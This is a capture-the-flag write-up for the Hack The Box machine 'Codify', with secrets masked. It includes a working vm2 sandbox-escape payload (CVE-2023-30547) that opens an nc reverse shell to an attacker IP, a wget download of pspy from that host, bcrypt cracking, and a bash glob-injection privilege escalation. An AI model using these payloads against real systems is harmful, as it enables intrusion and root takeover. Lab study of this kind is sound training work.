Codify (HTB)
Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root
Attack Chain
Reconnaissance
├── nmap -p- --min-rate=5000 -T4 → 22 (SSH), 80 (Apache 2.4.52), 3000 (Node.js Express)
└── /etc/hosts: 10.129.79.26 codify.htb
Foothold (vm2 Sandbox Escape)
├── Port 3000 - online Node.js editor in a sandbox
├── require("vm2/package.json").version → 3.9.15
├── CVE-2023-30547: sandbox escape
├── nc -lvnp 4444
└── shell as svc
Lateral Movement (SQLite → bcrypt)
├── find / -name "*.db" → /var/www/contact/tickets.db
├── sqlite3 → joshua:<BCRYPT_HASH>
├── hashcat -m 3200 → joshua:<PASSWORD>
└── ssh joshua@codify.htb → user.txt (<USER_FLAG>)
Privilege Escalation (Glob Injection + pspy)
├── sudo -l → (root) /opt/scripts/mysql-backup.sh
├── if [[ $DB_PASS == $USER_PASS ]] → bash glob matching
├── pspy64s → monitoring root processes
├── sudo /opt/scripts/mysql-backup.sh → enter "*"
├── pspy → mysql -u root -p<PASSWORD>
└── su root → cat /root/root.txt (<ROOT_FLAG>)
NOTE
All flags, passwords, hashes, and session tokens have been masked for ethical reasons.
Machine Briefing
A Node.js application with the vm2 3.9.15 sandbox on port 3000. A vulnerability in a bash script allows recovering the MySQL root password via glob injection and pspy.
Reconnaissance
nmap -p- --min-rate=5000 -T4 -oG - codify.htb | grep open
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 |
| 80 | HTTP | Apache httpd 2.4.52 |
| 3000 | HTTP | Node.js Express |
echo "10.129.79.26 codify.htb" | sudo tee -a /etc/hosts
Foothold
- Port 80 - a static site.
- Port 3000 - a Node.js editor in a sandbox.
child_processandfsare banned. Characteristic of vm2.
const version = require("vm2/package.json").version;
console.log(version);
// 3.9.15
Vulnerable to CVE-2023-30547 (sandbox escape, CVSS 10.0). Patched in 3.9.17.
nc -lvnp 4444
Payload:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.170 4444 >/tmp/f');
}
`;
console.log(vm.run(code));
Shell as svc.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
whoami
# svc
cat /etc/passwd
# joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
# svc:x:1001:1001:,,,:/home/svc:/bin/bash
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Lateral Movement
find / -name "*.db" 2>/dev/null
# /var/www/contact/tickets.db
sqlite3 /var/www/contact/tickets.db
.tables
# tickets users
SELECT * FROM users;
3|joshua|<BCRYPT_HASH>
bcrypt → hashcat mode 3200.
echo '<BCRYPT_HASH>' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# <PASSWORD>
ssh joshua@codify.htb
# password: <PASSWORD>
cat /home/joshua/user.txt
# <USER_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Privilege Escalation
sudo -l
# User joshua may run the following commands on codify:
# (root) /opt/scripts/mysql-backup.sh
cat /opt/scripts/mysql-backup.sh
Key check:
if [[ $DB_PASS == $USER_PASS ]]; then
The == operator in [[ ]] performs glob matching, not string comparison. Entering * matches any password.
wget http://10.10.15.170:8082/pspy64s
chmod +x pspy64s
./pspy64s
sudo /opt/scripts/mysql-backup.sh
# sudo password: <PASSWORD>
# MySQL password for root: *
In the pspy output:
/usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -p<PASSWORD> -e SHOW DATABASES;
MySQL root password: <PASSWORD>.
su root
# password: <PASSWORD>
whoami
# root
cat /root/root.txt
# <ROOT_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Flags
| Flag | Value |
|---|---|
| User | <USER_FLAG> |
| Root | <ROOT_FLAG> |
Key Takeaways
- vm2 3.9.15 (CVE-2023-30547) - sandbox escape via manipulating
Error.stackandProxy. - Glob injection in bash
[[ $a == $b ]]-*matches an arbitrary string. - pspy - invaluable for privesc enumeration.
- SQLite in a web application as a source of bcrypt hashes.
- Password reuse between MySQL root and the system root.